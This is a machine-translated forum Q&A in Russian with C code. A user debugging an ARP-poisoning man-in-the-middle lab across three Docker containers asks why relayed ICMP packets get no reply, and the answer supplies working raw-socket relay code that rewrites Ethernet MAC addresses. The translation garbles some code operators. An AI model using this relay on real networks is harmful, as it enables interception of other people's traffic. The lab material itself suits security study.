#c #arp #raw-sockets #man-in-the-middle
Вопрос:
Я внедряю человека в середине атаки в С. Существует три контейнера docker: Хост A (отправитель), Хост B (получатель) и Хост M (злоумышленник).
Моя цель состоит в том, чтобы выполнить пинг с хоста A на хост B, но перехватить эхо-запрос от A в M, а затем передать эхо-запрос от M к B.
Я уже сделал АРП-отравление. Пакеты ICMP отправляются из пункта А в пункт М. Теперь я пытаюсь передать эхо-запросы от M к B. Интересный факт: пакеты тоже ретранслируются, но в то время как A отправляет 1 эхо-запрос каждые 5 секунд ( ping -i 5 IP-hostB
), M передает эхо-запрос на хост B. Почему это происходит? Я передаю пакет только тогда, когда M получает эхо-запрос. Тогда откуда M получает затопленный эхо-запрос для ретрансляции?
Редактировать Наводнение ping теперь прекратилось после использования одного и того же сокета для приема и отправки пакетов. Но теперь эхо-запросы передаются от M к B (первоначально отправленные из A) должным образом. Но хост B не отправляет эхо-ответ для этих эхо-ответов. Раньше я tcpdump
проверял, получает ли B эхо-запросы, и B действительно получает запросы. Почему же тогда B не отправляет ответ обратно? Я думал, это потому, что arp-кэш B отравлен. Но я сделал arp -a
это на хосте B, и он знает, каков MAC-адрес хоста A.
Есть идеи, из-за чего B не отправляет эхо-ответ?
Соответствующий код ретрансляции:
static unsigned short compute_checksum(unsigned short *addr,
unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);
int main()
{
int saddr_size, data_size;
struct sockaddr saddr;
unsigned char *buffer = (unsigned char *) malloc(65536);
int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
//setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0") 1 );
if(sock_raw < 0) {
//Print the error with proper message
perror("Socket Error");
return 1;
}
while(1) {
saddr_size = sizeof saddr;
//Receive a packet
data_size = recvfrom(sock_raw, buffer, 65536, 0,
amp;saddr, (socklen_t*)amp;saddr_size);
// data_size = recv(sock_raw, buffer, 65536, 0);
if(data_size <0 ) {
printf("Recvfrom error , failed to get packetsn");
return 1;
}
relay_icmp_packet(buffer, data_size);
}
close(sock_raw);
printf("Finished");
return 0;
}
void relay_icmp_packet(unsigned char* buffer, int size)
{
// Host A -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:05
// Host B -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:06
// Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69
int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
struct iphdr *iph = (struct iphdr *)(buffer sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
memset(amp;source, 0, sizeof(source));
source.sin_addr.s_addr = iph->saddr;
// printf("%sn", inet_ntoa(source.sin_addr));
if (!(iph->saddr == inet_addr("10.9.0.5")
amp;amp; iph->daddr== inet_addr("10.9.0.6")))
return;
struct icmphdr *icmph = (struct icmphdr*)(buffer iphdrlen sizeof(struct ethhdr));
compute_ip_checksum(iph);
icmph->checksum = 0;
icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));
struct sockaddr_ll device;
memset(amp;device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret = -5;
// ret = send(sockid, eth, size, 0);
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)amp;device, sizeof(device));
}
/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */
Комментарии:
1. Вы уверены, что поддельные пакеты не «отправляются» прямо обратно в саму M?
2. @G. Sliepen Я уверен в том смысле, что я вижу tcpdump хоста B, говорящий, что он получил эхо-запрос от хоста A прямо в тот момент, когда моя программа на хосте M говорит, что отправила эхо-запрос. В любом случае, есть новости. Больше нет никакого пинг-флуда. Сигналы поступают от А до М каждые пять секунд, а затем от М до В каждые пять секунд. Проблема теперь в том, что B не отправляет ответ на эхо. Я думал, это потому, что кэш arp B отравлен, так как B не получает ответы arp от A. Но я сделал
arp -a
это, и кэш Б в порядке. Есть идеи, что тогда происходит?3. Я видел системы, достаточно умные, чтобы понять, что адрес ARP для отправки неверен, и выбросить пакет.
4. @Joshua, это делается путем проверки контрольной суммы. Я пересчитываю контрольную сумму в контейнере атакующего. Но, возможно, моя функция контрольной суммы ошибочна. Я достал его откуда-то из Интернета.
5. Если вы пропингуете B из M, ответит ли он эхом? (просто обычный
ping
, не MitM)
Ответ №1:
Я исправил проблему, изменив заголовок Ethernet ретрансляционного пакета. Изначально я думал, что мне нужно только изменить MAC-адрес назначения, так как IP-адрес назначения уже правильный. Но на самом деле все было еще проще. Позвольте мне повторить сценарий.
Есть три хоста: A, B и M, где M-атакующий. ARP-кэши A и B отравлены, так что A думает, что MAC-адрес B-MAC M, а B думает, что MAC-адрес A-MAC M.
Когда A отправляет ICMP-пакет в B, он вместо этого отправляется в M. M необходимо изменить исходный MAC на MAC M, а конечный MAC на MAC B, потому что по ARP B B думает, что MAC M на самом деле является MAC — адресом A.
Итак, когда изначально я менял только MAC-адрес получателя, B получал эхо-запрос ICMP, но отбрасывал его, потому что исходный IP-адрес и исходный MAC-адрес не совпадали в соответствии с ARP-кэшем B.
После исправления сработало следующее.
void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
// sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
unsigned short ethdrlen = sizeof(struct ethhdr);
struct iphdr *iph = (struct iphdr *)(buffer sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
if (iph->saddr == inet_addr("10.9.0.5")
amp;amp; iph->daddr== inet_addr("10.9.0.6")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
} else if (iph->saddr == inet_addr("10.9.0.6")
amp;amp; iph->daddr== inet_addr("10.9.0.5")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X05;
} else {
printf("FUCKn");
return;
}
struct icmphdr *icmph = (struct icmphdr*)(buffer iphdrlen ethdrlen);
int header_size = sizeof(struct ethhdr) iphdrlen sizeof icmph;
iph->check = 0;
iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
icmph->checksum = 0;
icmph->checksum = compute_checksum((uint16_t *)icmph,
size - ethdrlen - iphdrlen);
struct sockaddr_ll device;
memset(amp;device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret;
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)amp;device, sizeof(device));
if (ret > 0) {
printf("[%d] ICMP packet relayed to ", ret);
PRINT_MAC_ADDRESS(stdout, eth->h_dest);
}
// close(sockid);
}